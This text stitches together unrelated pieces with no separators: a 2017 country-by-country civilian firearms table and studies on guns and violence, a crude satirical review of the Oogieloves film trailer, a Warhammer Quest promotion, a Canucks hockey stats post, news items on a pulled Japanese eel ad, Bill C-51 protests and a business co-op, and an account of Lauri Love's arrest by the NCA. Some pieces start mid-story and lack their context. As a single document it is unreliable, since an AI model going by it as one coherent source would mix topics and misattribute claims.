World wide civilian firearms holdings, 2017[3][4] Countries and territories Estimate of firearms in civilian possession Population 2017 Estimate of civilian firearms per 100 persons Afghanistan 4,270,000 34,169,000 12.5 Albania 350,000 2,911,000 12.0 Algeria 877,000 41,064,000 2.1 American Samoa 400 56,000 0.7 Andorra 10,000 69,000 14.1 Angola 2,982,000 26,656,000 11.2 Antigua and Barbuda 5,000 94,000 5.4 Argentina 3,256,000 44,272,000 7.4 Armenia 186,000 3,032,000 6.1 Aruba 3,000 105,000 2.6 Australia 3,573,000 24,642,000 14.5 Austria 2,577,000 8,592,000 30.0 Azerbaijan 362,000 9,974,000 3.6 Bahamas 74,000 397,000 18.8 Bahrain 181,000 1,419,000 12.8 Bangladesh 659,000 164,828,000 0.4 Barbados 10,000 286,000 3.5 Belarus 581,000 9,459,000 6.1 Belgium 1,451,000 11,444,000 12.7 Belize 37,000 375,000 10.0 Benin 33,000 11,459,000 0.3 Bermuda 3,000 61,000 4.6 Bhutan 6,000 793,000 0.8 Bolivia 218,000 11,053,000 2.0 Bosnia and Herzegovina 1,185,000 3,793,000 31.2 Botswana 97,000 2,344,000 4.1 Brazil 17,510,000 211,243,000 8.3 Brunei Darussalam 6,000 434,000 1.4 Bulgaria 590,000 7,045,000 8.4 Burkina Faso 175,000 19,173,000 0.9 Burundi 238,000 11,936,000 2.0 Cabo Verde (Cape Verde) 31,000 533,000 5.7 Cambodia 717,000 16,076,000 4.5 Cameroon 510,000 24,514,000 2.1 Canada 12,708,000 36,626,000 34.7 Cayman Islands 6,000 62,000 9.2 Central African Republic 94,000 5,099,000 1.8 Chad 151,000 14,965,000 1.0 Channel Islands 23,000 165,000 14.0 Chile 2,220,000 18,313,000 12.1 China 49,735,000 1,388,233,000 3.6 China, Macao SAR 22,000 606,000 3.6 Christmas Island 0 2,000 0.0 Colombia 4,971,000 49,068,000 10.1 Comoros 12,000 826,000 1.5 Congo, Republic of 119,000 4,866,000 2.4 Costa Rica 493,000 4,906,000 10.0 Côte d'Ivoire (Ivory Coast) 1,049,000 23,816,000 4.4 Croatia 576,000 4,210,000 13.7 Cuba 234,000 11,390,000 2.1 Curaçao 4,000 160,000 2.6 Cyprus, North 61,000 349,000 17.4 Cyprus, Rep. of 285,000 839,000 34.0 Czech Republic 1,323,000 10,555,000 12.5 Democratic Republic of Congo 946,000 82,243,000 1.2 Denmark 567,000 5,712,000 9.9 Djibouti 28,000 911,000 3.1 Dominica 5,000 73,000 6.2 Dominican Republic 795,000 10,767,000 7.4 Ecuador 402,000 16,626,000 2.4 Egypt 3,931,000 95,215,000 4.1 El Salvador 737,000 6,167,000 12.0 England and Wales 2,731,000 58,877,000 4.6 Equatorial Guinea 112,000 894,000 12.5 Eritrea 23,000 5,482,000 0.4 Estonia 65,000 1,306,000 5.0 Ethiopia 377,000 104,345,000 0.4 Falkland Islands 2,000 3,000 62.1 Faroe Islands 5,000 49,000 9.9 Fiji 5,000 903,000 0.5 Finland 1,793,000 5,541,000 32.4 France 12,732,000 64,939,000 19.6 French Guiana 55,000 283,000 19.6 French Polynesia 7,000 289,000 2.5 Gabon 61,000 1,801,000 3.4 Gambia 137,000 2,120,000 6.5 Georgia 402,000 3,973,000 10.1 Germany 15,822,000 80,636,000 19.6 Ghana 2,280,000 28,657,000 8.0 Gibraltar 1,000 32,000 4.1 Greece 1,920,000 10,893,000 17.6 Greenland 13,000 56,000 22.3 Grenada 5,000 108,000 4.6 Guadeloupe 40,000 472,000 8.5 Guam 20,000 174,000 11.5 Guatemala 2,062,000 17,005,000 12.1 Guinea 130,000 13,291,000 1.0 Guinea-Bissau 29,000 1,933,000 1.5 Guyana 122,000 774,000 15.8 Haiti 291,000 10,983,000 2.6 Holy See 0 1,000 0.0 Honduras 1,171,000 8,305,000 14.1 Hong Kong SAR, China 265,000 7,402,000 3.6 Hungary 1,023,000 9,788,000 10.5 Iceland 106,000 334,000 31.7 India 71,101,000 1,342,513,000 5.3 Indonesia 82,000 263,510,000 0.0 Iran, Islamic Republic of 5,890,000 80,946,000 7.3 Iraq 7,588,000 38,654,000 19.6 Ireland 342,000 4,749,000 7.2 Israel 557,000 8,323,000 6.7 Italy 8,609,000 59,798,000 14.4 Jamaica 246,000 2,813,000 8.8 Japan 377,000 126,045,000 0.3 Jordan 1,473,000 7,877,000 18.7 Kazakhstan 504,000 18,064,000 2.8 Kenya 750,000 48,467,000 1.5 Kiribati 900 116,000 0.8 Korea, DPR (North) 76,000 25,405,000 0.3 Korea, Republic of (South) 79,000 50,705,000 0.2 Kosovo 436,000 1,831,000 23.8 Kuwait 685,000 4,100,000 16.7 Kyrgyzstan 171,000 6,125,000 2.8 Lao, People's Democratic Republic 215,000 7,038,000 3.0 Latvia 205,000 1,945,000 10.5 Lebanon 1,927,000 6,039,000 31.9 Lesotho 105,000 2,185,000 4.8 Liberia 97,000 4,730,000 2.1 Libya 851,000 6,409,000 13.3 Liechtenstein 11,000 38,000 28.8 Lithuania 385,000 2,831,000 13.6 Luxembourg 110,000 584,000 18.9 Macedonia, Former Yugoslav Republic of 621,000 2,083,000 29.8 Madagascar 168,000 25,613,000 0.7 Malawi 47,000 18,299,000 0.3 Malaysia 217,000 31,164,000 0.7 Maldives 23,000 376,000 6.2 Mali 206,000 18,690,000 1.1 Malta 119,000 421,000 28.3 Marshall Islands 300 53,000 0.5 Martinique 34,000 396,000 8.5 Mauritania 120,000 4,266,000 2.8 Mauritius 106,000 1,281,000 8.3 Mexico 16,809,000 130,223,000 12.9 Micronesia, Fed. Sts. 700 106,000 0.7 Moldova, Republic of 121,000 4,055,000 3.0 Monaco 7,000 38,000 19.6 Mongolia 242,000 3,052,000 7.9 Montenegro 245,000 626,000 39.1 Montserrat 300 5,000 5.4 Morocco 1,690,000 35,241,000 4.8 Mozambique 1,337,000 29,538,000 4.5 Myanmar 877,000 54,836,000 1.6 Namibia 396,000 2,569,000 15.4 Nauru 0 10,000 0.0 Nepal 444,000 29,187,000 1.5 Netherlands 442,000 17,033,000 2.6 New Caledonia 115,000 270,000 42.5 New Zealand 1,212,000 4,605,000 26.3 Nicaragua 323,000 6,218,000 5.2 Niger 117,000 21,564,000 0.5 Nigeria 6,154,000 191,836,000 3.2 Northern Ireland 206,000 1,873,000 11.0 Northern Mariana Islands 1,000 56,000 2.6 Norway 1,537,000 5,331,000 28.8 Oman 792,000 4,741,000 16.7 Pakistan 43,917,000 196,744,000 22.3 Palau 100 22,000 0.5 Palestinian Territories 56,000 4,952,000 1.1 Panama 436,000 4,051,000 10.8 Papua New Guinea 79,000 7,934,000 1.0 Paraguay 1,140,000 6,812,000 16.7 Peru 633,000 32,166,000 2.0 Philippines 3,776,000 103,797,000 3.6 Poland 968,000 38,564,000 2.5 Portugal 2,186,000 10,265,000 21.3 Puerto Rico 422,000 3,679,000 11.5 Puntland 246,000 1,995,000 12.3 Qatar 390,000 2,338,000 16.7 Réunion 171,000 873,000 19.6 Romania 506,000 19,238,000 2.6 Russian Federation 17,620,000 143,375,000 12.3 Rwanda 66,000 12,160,000 0.5 Saint Kitts and Nevis 2,000 57,000 3.4 Saint Lucia 6,000 188,000 3.4 Saint Martin (France) 3,000 32,000 8.5 Saint Vincent and the Grenadines 4,000 110,000 3.4 Samoa 20,000 196,000 10.1 San Marino 5,000 32,000 14.4 São Tomé and Principe 7,000 198,000 3.4 Saudi Arabia 5,468,000 32,743,000 16.7 Scotland 305,000 5,436,000 5.6 Senegal 323,000 16,054,000 2.0 Serbia 2,719,000 6,946,000 39.1 Seychelles 4,000 98,000 4.1 Sierra Leone 35,000 6,733,000 0.5 Singapore 20,000 5,785,000 0.3 Sint Maarten (Netherlands) 2,000 40,000 4.2 Slovakia 355,000 5,432,000 6.5 Slovenia 324,000 2,071,000 15.6 Solomon Islands 1,000 606,000 0.2 Somalia 1,145,000 9,225,000 12.4 Somaliland 456,000 3,823,000 11.9 South Africa 5,351,000 55,436,000 9.7 South Sudan 1,255,000 13,096,000 9.6 Spain 3,464,000 46,070,000 7.5 Sri Lanka 494,000 20,905,000 2.4 Sudan 2,768,000 42,166,000 6.6 Suriname 88,000 552,000 15.9 Swaziland 64,000 1,320,000 4.8 Sweden 2,296,000 9,921,000 23.1 Switzerland 2,332,000 8,454,000 27.6 Syrian Arab Republic 1,547,000 18,907,000 8.2 Taiwan (Rep. of China) 10,000 23,405,000 0.0 Tajikistan 37,000 8,858,000 0.4 Tanzania, United Republic of Africa 427,000 56,878,000 0.8 Thailand 10,342,000 68,298,000 15.1 Timor-Leste (East Timor) 3,000 1,237,000 0.3 Togo 58,000 7,692,000 0.8 Tonga 9,000 108,000 8.0 Trinidad and Tobago 43,000 1,369,000 3.2 Tunisia 123,000 11,495,000 1.1 Turkey 13,249,000 80,418,000 16.5 Turkmenistan 23,000 5,503,000 0.4 Turks and Caicos Islands 1,000 35,000 3.3 Tuvalu 100 10,000 1.2 Uganda 331,000 41,653,000 0.8 Ukraine 4,396,000 44,405,000 9.9 United Arab Emirates 1,569,000 9,398,000 16.7 United Kingdom
Combined numbers for (England and Wales), (Northern Ireland) and (Scotland). 3,242,000 66,186,000 4.9 United States of America 393,347,000 326,474,000 120.5 Uruguay 1,198,000 3,457,000 34.7 Uzbekistan 127,000 30,691,000 0.4 Vanuatu 11,000 276,000 3.9 Venezuela 5,895,000 31,926,000 18.5 Vietnam 1,562,000 95,415,000 1.6 Virgin Islands (U.K.) 300 31,000 0.8 Virgin Islands (U.S.) 18,000 107,000 16.6 Yemen 14,859,000 28,120,000 52.8 Zambia 158,000 17,238,000 0.9 Zimbabwe 455,000 16,338,000 2.8
American gun ownership [ edit ]
American gun show, Houston, Texas
"Americans made up 4 percent of the world's population but owned about 46 percent of the entire global stock of 857 million civilian firearms."[5] U.S civilians own 393 million guns. That is 3 times as many guns as the armed forces of the Russian Federation (30.3 million), China (27.5 million), North Korea (8.4 million), Ukraine (6.6 million), United States (4.5 million), India (3.9 million), Vietnam (3.8 million), Iran (3.3 million), South Korea (2.7 million), Pakistan (2.3 million), and all the other countries (39.7 million) combined.[6] American civilians own more guns "than those held by civilians in the other top 25 countries combined."[7]
"American civilians own nearly 100 times as many firearms as the U.S. military and nearly 400 times as many as law enforcement."[8] Americans bought more than 2 million guns in May 2018, alone.[8] That is more than twice as many guns, as possessed by every law enforcement agency in the United States put together.[8] In April and May 2018, U.S. civilians bought 4.7 million guns, which is more than all the firearms stockpiled by the United States military.[8] In 2017, Americans bought 25.2 million guns, which is 2.5 million more guns than possessed by every law enforcement agency in the world put together.[8] Between 2012 and 2017, U.S. civilians bought 135 million guns, 2 million more guns than the combined stockpile of all the world's armed forces.[8]
Association with rates of violence [ edit ]
[9] Violent crime in the United States per the Uniform Crime Report (UCR)
Some studies suggest that higher rates of gun ownership are associated with higher homicide rates,[10][11][12] although Gary Kleck argues that the highest-quality studies show that gun ownership does not increase homicide rates.[13] Higher rates of gun ownership are also associated with higher suicide rates[14][15] and higher accidental gun death rates.[16][17][18] The availability of illegal guns, but not that of legal guns, is associated with higher rates of violent crime.[19] Studies have shown that 36.3% of people had access to a gun and 5% carried the gun with them. However 7.3% stored their guns in an unsafe place. Certain people have blamed individuals with mental disorders for being dangerous and violent with the use of guns. Nonetheless, other studies have been conducted and show that 34.1% have access to guns. 4.8% carry a gun with them and 6.2% store the gun in an unsafe manner. The statistics show that gun ownership is significantly high in both sets of individuals, however, none of the figures show people with a mental illness are as dangerous with guns than people with perfect mental health.[20] An international study by UNICRI researchers from 2001 examined the link between household gun ownership and overall homicide, overall suicide, as well as gun homicide and gun suicide rates amongst 21 countries. Significant correlations between household gun ownership and rates of gun suicides for both genders, and gun homicide rates involving female victims were found. There were no significant correlations detected for total homicide and suicide rates, as well as gun homicide rates involving male victims.[21] This study has been criticized for combining high-income countries (like the United States) with middle-income countries (like Estonia); if middle-income countries are excluded from the analysis, a strong relationship emerges between gun ownership and homicide.[22] However the Hemenway study has been criticized in response as well. When removing the United States as an outlier and using the superior proxy of gun ownership in the study (percentage of firearm suicides over all suicides), the relationship ceases to be significant. The association between gun ownership and homicide rates across nations is dependent on the inclusion of the U.S.[23] A study by the Flemish Peace Institute looking at firearms ownership amongst European nations and associated homicide, suicide, gun homicide, and gun suicide found no significant correlation with gun ownership by European nations and total homicide, total suicide rates, gun homicide rates involving both genders, and male gun homicide rates. An association was found for gun suicide rates and female gun homicide rates replicating the Killias' study done in 2001.[24] Studies in Canada that examined the levels of gun ownership by province have found no correlations with provincial overall suicide rates.[25] A 2011 study conducted looking at the effects of gun control legislation passed in Canada and the associated effects in homicide rates found no significant association.[26] A case-control study conducted in New Zealand looking at household gun ownership and the risk of suicides found no significant associations.[27]
Since this summer is brimming with an unusually large brace of colossal blockbusters, it's only natural that some are going to get left behind. Hopefully, The Oogieloves in the Big Balloon Adventure won't be one of them.
Why would it be? After all, the official synopsis is easily the equal of, say, Prometheus, given that it revolves around three friends trying to retrieve the five most magical balloons in all of Lovelyloveville before returning to their cottage in time for a surprise birthday party. What's more, the poster clearly states that the film is from "the marketing visionary who brought you Teletubbies and Thomas the Tank Engine". If there's one thing that kids are guaranteed to go crazy for, it's a marketing visionary. Does The Dark Knight Rises poster celebrate a marketing visionary? No, it doesn't, and it's all the poorer for it. Anyway, if you're new to the world of the Oogieloves, sit back and let me pick apart their new trailer.
1) Here they are, the brightly coloured Oogieloves. As you can see, they're all really energetic. So energetic, in fact, that the one on the right looks as if he's on the brink of keeling over from exhaustion. I'm worried about him. But, hey, let's get to know our new best friends a bit better!
2) First, here's Goobie. He's the academic of the group, because he's wearing glasses. Another one of Goobie's traits is that he's scientastic, which isn't really a word.
3) And this is Zoozie. She's more than just the token female member of the Oogieloves because … um … oh, fine, she probably is just the token female. Zoozie is sparkeliciousness. Also not a word. Or an adjective, for that matter. Zoozie's an idiot.
4) Finally, we have tired-looking Toofie. Look at his sad eyes. Don't look for too long, though. I did, and now I'm depressed. Toofie is adventurific. I don't even know what that means. But, hey, now we've met the Oogieloves, let's see what they get up to in their new film!
5) First, they all bodypop in a fast food restaurant until poor Toofie looks as if he's going to vomit everywhere. Yay!
6) Then they all defecate on a windmill. Whee!
7) Then they stalk Toni Braxton, hiding underneath her stage and staring at her with their dead, dead eyes. Hooray!
8) After that, Cloris Leachman pops up dressed as every nightmare you've ever had and reminds you to build a shrine to the marketing visionary who brought you Teletubbies or else she'll come and burn your house down. Fun!
9) And then Jaime Pressly has sex with a fish. Whoopee!
10) Finally, everyone looks at a big hat for a bit. Marketing visionary!
Of course, there's more to Oogieloves in the Big Balloon Adventure than that. It's being billed as an interactive movie experience. And that'll be fun for everyone: the Oogieloves get to dance and sing onscreen; the kids in the audience get to dance and sing along with them; and the glum, minimum-wage cinema staff get to clean up the mixture of sweets, drinks, urine and puke that cakes the auditorium after every screening, while wondering why their lives are such an endless pit of despair. It's going to be amazing.
Beginning our week long series of articles on the new Warhammer Quest game – Shadows over Hammerhal, we take a look at the setting for the game, the city of Hammerhal itself.
We first saw the Free Cities of Sigmar emerge during the Season of War campaign last summer. Sigmar’s forces won decisive victories across the realms, and as a result, the the cities of the Free People were able to grow in the regions recently cleared of Chaos forces. We’re now a bit further down the timeline of the Age of Sigmar, and we find ourselves in perhaps the greatest of all Order’s new bastions: the twin-tailed city of Hammerhal.
Why Twin-tailed? Because it sits on a Realmgate connecting the two realms of verdant Ghyran and ash-choked Aqshy. Lava from the Realm of Fire pours constantly through the rift, burning away the ever-regrowing forest in the Life-bound half of the city and keeping the flora from overgrowing the city limits. As you can already see – this is a far more unusual and fantastical city than even the most bizarre from the World That Was.
This was one of the first cities to be established in the realms, at a vital trading point and strategic location, so it has grown to be one of the largest. The sprawl of the city can be seen best in the maps that are included in the Warhammer Quest: Shadows over Hammerhal Adventure Book.
There is a great map of Hammerhal Aqsha (the half of the city in the Realm of Fire) and a close up inset of the Cinderfall District within it. Cinderfall is where much of the above-ground action in the game takes place (the city is so big, we explore just a tiny fraction of it in this adventure).
Also in this book, and accompanying the thirty pages describing the quest’s backstory, are numerous illustrations of the city. These range from grand Sigmarite cathedrals to warrens of houses and dwellings among great statues of the God-King and his celestial champions. Many of these images are reminiscent of cities from the Old World, but with a more expansive, grander and fantastical aspect that sets them firmly within the Mortal Realms.
All in, the story of Warhammer Quest: Shadows over Hammerhal is a unique and immersive way to discover more about the great cities of the Mortal Realms (as well as a totally awesome game).
We’ll be back with more on this new game tomorrow.
“That’s Hod-son. The ‘G’ is silent.”
Given the collective amount of odd Selke Trophy nominees that have popped up over the last 33 years or so, one would think that there’s no good way to gauge defensive play in the NHL. I believe my old theory on this was whether or not a guy was liked, and if he was, he was also a guy who succeeded on defense (so long as he had a positive +/- on a good defensive team).
Defense, particularly for forwards, is more than back-checking and shot-blocking, but those are the visible talents that media and fans get to see night-in and night-out. With the advent of advanced micro-statistics, however, we can, for the most part, tell who was on the ice for each on-ice event. Not just goals, as is traditional, but shots, missed shots, blocked shots, faceoffs, hits, giveaways, takeaways, penalties, and, in some cases, scoring chances.
Knowing this (I’ll concentrate on shots in this post), if I asked you which regular Canuck so far has been on the ice for the fewest shots against over a standardized amount of time, who would you say it is? Ryan Kesler, last year’s Selke Trophy winner as top defensive forward? Manny Malhotra, who was the best defensive forward on the team last season? Henrik Sedin, who eats up all the time in the other team’s zone with his cycling and strong zone play? There’s no shortage of candidates, as Jannik Hansen, Maxim Lapierre and Chris Higgins are all champions of good defensive work.
But what if I told you that Cody Hodgson might be in that discussion sometime soon? Per 60 minutes at 5-on-5, Cody Hodgson has allowed just 21.2 shots against him through 12 games thus far. If “shots on goal” isn’t your bag, then he’s allowed 11.9 scoring chances against him per 60 minutes of play, which works out to about a little under four per actual game, behind just Kesler and Higgins among Canuck forwards.
Hodgson’s situation differs slightly from that of Kesler’s or Higgins’, however. While he starts an awful lot of shifts in the offensive zone compared to the defensive zone (at a rate of 56.3%) he’s also faced inordinately tough competition compared to Canuck forwards. Only Jannik Hansen and Manny Malhotra see better competition on a night-in and night-out basis. Hodgson’s shot-defending success has come against some quality names, such as Daniel Briere and Taylor Hall.
The other thing to consider is that Hodgson has jumped around between the second and third lines to start the season. He’s seen limited time with Higgins, limited time with Hansen, and yet continues to keep the shot against counter low no matter where he’s slotted into the lineup. Give all due credit to those Canucks lines to stopping the attack, but it can’t be a coincidence that Hodgson has come away from the first month of the season in the positive in both these situations, given the low total of shots against he sees. He doesn’t kill penalties as of yet, but he could, and if he keeps up his strong two-way play, I’d almost expect it when injuries begin to take a toll on this team come mid-season.
Everything gets blamed on the goaltender in Vancouver these days, we might as well blame the Canucks goalies for Hodgson’s 5-on-5 handiwork flying under the radar. While Hodgson has been solid defensively, Canucks goalies have just an .892 save percentage when Hodgson is on the ice, which is well below average. When you only have a 12-game sample to draw from, the numbers will be skewed either good or bad for most players disproportionately, but it tends to even out. Thus, Hodgson has been on the ice for seven goals against at even strength and therefore has an “even” plus/minus, but if you look instead at his Corsi statistic, which tallies all shot attempts for and against while the player is on the ice and not just goals, Hodgson is at a +44, according to the website Time on Ice. Looking at just shots, Hodgson is at a +26.
Japanese ad showing girl being fattened up, turned into eel and cooked is pulled
A city in Japan has been forced to pull a online promotional video intended to boost the local eel industry following criticism that it demeaned women.
The two-minute video, set to gentle piano music, shows a teenage girl dressed in a black swimsuit, swimming, Man from Atlantis-style, in an outdoor pool and asking to be fed.
In other scenes, she is seen sitting at the poolside and playing with a hula hoop, before the advertisement takes a bizarre twist. After apparently spending a year being fattened up, she dives into the pool and transforms into an eel, offering a cheery “Goodbye” as she swims away.
The male narrator, meanwhile, describes how he had vowed to do all he could to nurture her. “I fed her delicious food until she was full, and allowed her to get plenty of sleep,” he says.
Seconds later viewers are treated to a close-up of eel being cooked on a barbecue grill. “We take great care when farming our eels,” says the narrator.
The ad went viral before it was withdrawn by Shibushi city on the south-western island of Kyushu.
Social media users described it as “perverse”.
“This makes me think of a girl who has been kidnapped and locked up ... it’s the delusions of a pervert,” said one Twitter user. Another called on the local government to “take down this sexist video”.
The city duly pulled the ad, but insisted it had intended only to highlight the city’s commitment to sustainable eel farming amid evidence that the species is threatened by overfishing .
“We’re aware that some people were offended,” an official told AFP. “We just wanted to make a video that simply explains the city is known for eel farming.”
The past year has seen several online campaigns pressuring local governments and companies to remove advertisements that highlighted Japan’s struggle to confront sexism.
The city of Shima, which hosted this year’s G7 summit, came under for using a female mascot character that many said was sexist. The animated character, Meg, was modelled on members of the local ama community – female divers who forage for abalone, seaweed and other seafood without the use of breathing apparatus.
Some of the divers said Meg, a doe-eyed 17-year-old woman with large breasts, demeaned their profession.
Allegations of sexism followed the appearance of an online ad for a translation device in which a British man, armed with the gadget, attempts to cajole seemingly random women - whom the company later said were actors - into kissing him.
Earlier this week a lawsuit was launched against the mayor of a city in western Japan over a pamphlet on child rearing that reinforced sexist stereotypes. One of the pamphlet’s 12 tips on bringing up children encourages boys to “answer cheerfully,” while girls are encouraged to “answer politely”.
“We haven’t really seen anything like this in years. It’s remarkable,” said David Christopher, a spokesman with OpenMedia.org, one of the groups behind the petition.
Several dozen protesters gathered outside the prime minister’s offices on Wellington Street and marched through the ByWard Market to the U.S. Embassy. Similar rallies were planned in as many as 30 cities, organizers said.
In March, more than 300 people protested the anti-terrorism bill in Ottawa.
“The U.S. is symbolic of this kind of anti-terror legislation. When I go talk to people about the bill, the comment I always get back is ‘oh, we’re becoming just like the U.S.’ ” said Sam Heaton, a leader of Saturday’s demonstration.
The government says the legislation will give important new powers to the Canadian Security and Intelligence Service to protect Canadians from security threats. But critics contend that it goes too far, giving CSIS too many tools to invade Canadians’ privacy without putting enough oversight in place to keep watch on the spy agency.
As of Friday afternoon, the petition (stopc51.ca) had more than 194,000 names on it. That’s the most since a similar online petition against then-Justice Minister Vic Toews’ online surveillance Bill C-30 topped out at around 150,000 names in 2012, David Christopher said.
After a cabinet shuffle, Toews’ replacement, Rob Nicholson withdrew the bill in 2013 because of the public opposition.
This time, OpenMedia.org and its partners are targeting Bill C-51, and Christopher said his organization is seeing an increase in the number of people going beyond simply clicking on an online petition.
“We had 12,000 people in one day write to their MPs about it. These numbers are blowing our old statistics out of the water,” Christopher said.
Related
Paul Dewar, the NDP MP for Ottawa-Centre, said the success of the petition shows the growing frustration with a government that won’t listen to Canadians.
“It’s showing how unpopular the bill is and how stubborn the government is being. It shows that it’s not just something inside the Ottawa bubble. It’s something across the country,” he said.
Liberal MP Wayne Easter said his party has some reservations about the bill but will support it anyway because it thinks the security measures are needed.
“We are hoping that the government will see the light and implement parallel legislation in terms of national oversight and see the need to institute some sunset clauses and a mandatory review,” Easter said. “They could still do that.”
The OpenMedia.org petition isn’t the only list naming Canadians who oppose the bill. Green Party leader Elizabeth May has tabled at least seven petitions against the bill in the House of Commons. Her list has reached around 4,400 pen-and-ink signatures.
Rick Dubrow has owned A-1 for 42 of those 62 years.
Now, it's time to retire.With their children uninterested in taking the reins, Dubrow and his co-owner wife struggled with who should take charge of the business they worked so hard to build.
"What do we do?" asked Dubrow. "Sell it to a stranger who could destroy the legacy, destroy what we've done?"
Those who work for Dubrow consider it like a family, so Dubrow decided to make it an extended-family business.
He created a co-op where the 20 or so workers will get the chance to become part-owners.
"You're taking a person who maybe was 'just a carpenter' working on a particular project and you're giving them a career path," said Dubrow. "So we're helping people who have helped us."
One of those workers is Chris Hanson.
The married father of three has worked his way up to project manager. He believes the co-op model will incentivize employees to work harder and care more about what they do.
To Chris, it's a rare opportunity for today's blue collar workforce.
"The fact that you can become an owner and feel proud and part of something is way beyond just coming to work and being a number," he said. "You're actually a part of something."
A group of five managers will take over as the first round of new owners with more employees to be phased in.
"Going co-op" is increasingly attractive to small business owners, who want to retain the values and legacies they have built after they walk away.
Dubrow says simply selling out would've been much easier, much less risky, but also much less fulfilling. He leaves knowing all that he has built is in very capable hands.
Copyright 2017 KING
In his dressing gown and pyjamas, Love confirmed his identity and was then informed of the ruse and handcuffed. Over the next five hours a total of 14 NCA officers attended the property wearing agency-branded windbreakers, which were easy visible to the neighbours.
Six of these officers had been tasked with searching for digital media which are alleged to contain evidence that the 28-year-old had criminally accessed private sector, military and government computer systems in the United States.
The agency believed their courier ruse had been necessary because, they claimed, intelligence had suggested that Love's computer equipment could be encrypted “at the press of a button” which, if activated, would “frustrate the object of the search,” though even with this successfully executed approach the officers still collected encrypted devices.
Love's parents expressed concerns when their work computers were taken along with Love's own property, but claimed they were assured these would be returned within 21 days. It would actually be 96 days later that their equipment was returned, though in a document responding to complaints made during this period, the NCA denied that any such assurances would have been given, stating that “all officers at the scene were experienced Cyber investigators [who] would know the length of time it takes to forensically examine computers and other digital equipment”.
The suspect, aged 28 at the time, remained handcuffed in the porch while the terms of the search were explained to his father Alexander, a prison minister from Glasgow, though Love recalled at some point being moved further into the house where NCA officers – whom he described as being commendably courteous – spoke to him, cautioned him, and tried to make conversation.
Love would eventually arrive at the police station around midnight. After being processed he went to his cell in some anxiety, which he says he attempted to alleviate by exercising, annotating what had happened and finally getting a bit of sleep. The next morning he was given a police ready-meal for breakfast and afforded a consultation with the duty solicitor who considered a no comment interview appropriate for the charges he was faced with, although more than 30 months later those have still not materialised.
NCA technical experts listened in to his official interview, but Love was bailed without charge by early Saturday afternoon. Before he was released, an NCA representative attempted to suggest bail conditions to the custody sergeant, including the surrender of Love's passport – which Love's parents were required to hand over before driving him home – and encouraged the custody sergeant to prohibit Love from using the internet, though as he had no history of criminality this was rejected.
Yet the NCA pressed for more conditions and achieved one prohibiting Love from accessing the internet via “a third party”. Love sought clarification on what was intended by this and was told that it was meant to ban him from using proxy services, including VPNs or Tor – seemingly anything which would allow him to circumvent NCA access to his communications through RIPA – and was not intended to prevent him from using ISPs.
'Different reporting restrictions'
On the Monday after Love's arrest, the news was dominated by four deaths resulting from an autumn storm which had left more than half a million homes without power. Very strong winds had toppled trees across the south of England that morning, in one instance crushing a caravan where a 17-year-old girl was sleeping, while in Hounslow a fallen tree was suspected to have led to a gas explosion where a man and woman were killed when their house collapsed.
Love was lying face down on his bed and listening to Radio 4 when he heard the announcer report that the son of a vicar in Suffolk had been charged with computer offences. Love had, in fact, been released on police bail without charge, but his family had been told that no personal information regarding him would be released to the media. That this promise had not been kept was of more concern than the inaccurate news bulletin.
Over the next week the Love household would be doorstepped by journalists from Britain, America and Finland. Love's name and photograph, alongside pictures of the front of his house, would be published by the media. This distressed Love's parents, whose employment at a nearby prison meant inmates were not supposed to know their home address.
In the weeks prior to Love's arrest, the NCA claimed a press strategy had been agreed between its National Cyber Crime Unit (NCCU), the Crown Prosecution Service, and the Department of Justice in the US. “It is the NCA's policy not to name those arrested, this was the agreed strategy,” stated Mark Kerr, part of the agency's professional standards unit, in his response to the Loves' complaints.
Indeed, emails and documents exchanged between the NCA and the United States Attorney's office during the finalisation of the co-ordinated press announcements feature a senior agency manager claiming that identification of Love would “have disastrous effects on any potential prosecution in the UK”.
According to Kerr it was “very apparent that the US has different reporting restrictions to that of the UK,” and the Americans' press release identifying Lauri “caused concern within the NCA” as it posed challenges to the agency's “duty of care” in regards to the Loves. Contact was made with the local police force and the NCA community liaison officer, as well as an attempt to directly inform the Loves of the release.
“Unfortunately prior to the contact with yourself,” wrote Kerr, “a number of journalists had already attended your home, in fact Love had already given an interview to a journalist.” Love himself remembers this not as a formal interview but as responding to a journalist who had intercepted him between his bus home and the front door.
Kerr determined that the identification of Love had happened on the US side of the arrest activities, and as such the Loves' complaint against the NCA was “not upheld with no case to answer.”
The agency's decision to shrug its shoulders in response to the intense public attention on the Loves is typical of how Britain ignores its responsibilities in favour of American interests, Love's supporters have claimed. They believe this has been highlighted by the UK-US Extradition Treaty of 2003 – under which the UK was attempting to hand Love over to US prosecutors without charges ever being laid over here.
Equipment and extradition
More than five months before his arrest Love had been indicted in a filing to a New Jersey district court (PDF) alleging he, alongside three unidentified co-conspirators – two listed as residing near Australia and one near Sweden – “carried out a series of cyber attacks against the websites and computer systems of the United States Army.”
Two further indictments against Love have been made in the Eastern District of Virginia (PDF), and the Southern District of New York (PDF).
While in England these allegations would be prosecuted before a single court on a single indictment, in the US the three indictments would require three separate court hearings. They have also led to three extradition requests which were eventually executed on 24 and 25 July, 2015. Between these three indictments Love faced charges with a maximum sentence of 99 years, and damages he has calculated as hitting a maximum of $10m.
Love, who is now 31 years old, was sought by the US for his alleged involvement in #OpLastResort, online protests that followed the suicide of activist Aaron Swartz, whom federal prosecutors had threatened with 35 years in prison and damages of $1m.
The National Crime Agency says it was made aware of the FBI's activities regarding Love just before noon on the day of his arrest, though it had executed a search warrant issued by Westminster Magistrates' Court as part of its own investigation the day before. Eventually some of the equipment it would seize on the day of arrest would be returned to the Loves on 29 January 2014, alongside a Section 49 notice under RIPA which compelled Love to provide the decryption keys to digital material the NCA was unable to access.
Love responded that he could not remember the decryption keys and so had no information to disclose under the notice. Although the burden of proof lies with Love, he was not charged with non-compliance with the decryption notice, which is an offence under Section 53 of RIPA, but instead was subsequently bailed with a notification that this did not amount to “no further action” and “that the NCA investigation remained very much alive”.
Following the execution of the extradition requests, however, Love would again be arrested – this time while preparing a holiday to visit family in Finland – by the extradition and international assistance unit of the Metropolitan Police, which sits under its Specialist, Organised & Economic Crime command. After being bailed, Love offered to cooperate with the NCA's Section 49 request but asked for his computers to help him attempt to recall the passwords. This was declined by the agency, which believed there was too great a risk to loss of evidence – despite the feasibility of using disk imaging technology to preserve copies of Love's device's drives.
Faced with this extended period without either his computers or any domestic charges, Love made a civil claim against the NCA to have his property returned under the Police (Property) Act of 1897. The NCA responded to this by making an application under the same law to force Love to decrypt his devices.
The NCA's claim was heard on 10 May 2016, when District Judge Nina Tempia – who also presided over the latest extradition hearing – explicitly refused the NCA's application because, as she put it, the agency was trying to use the case management powers of the court “to circumvent specific legislation that has been passed in order to deal with the disclosure sought”.
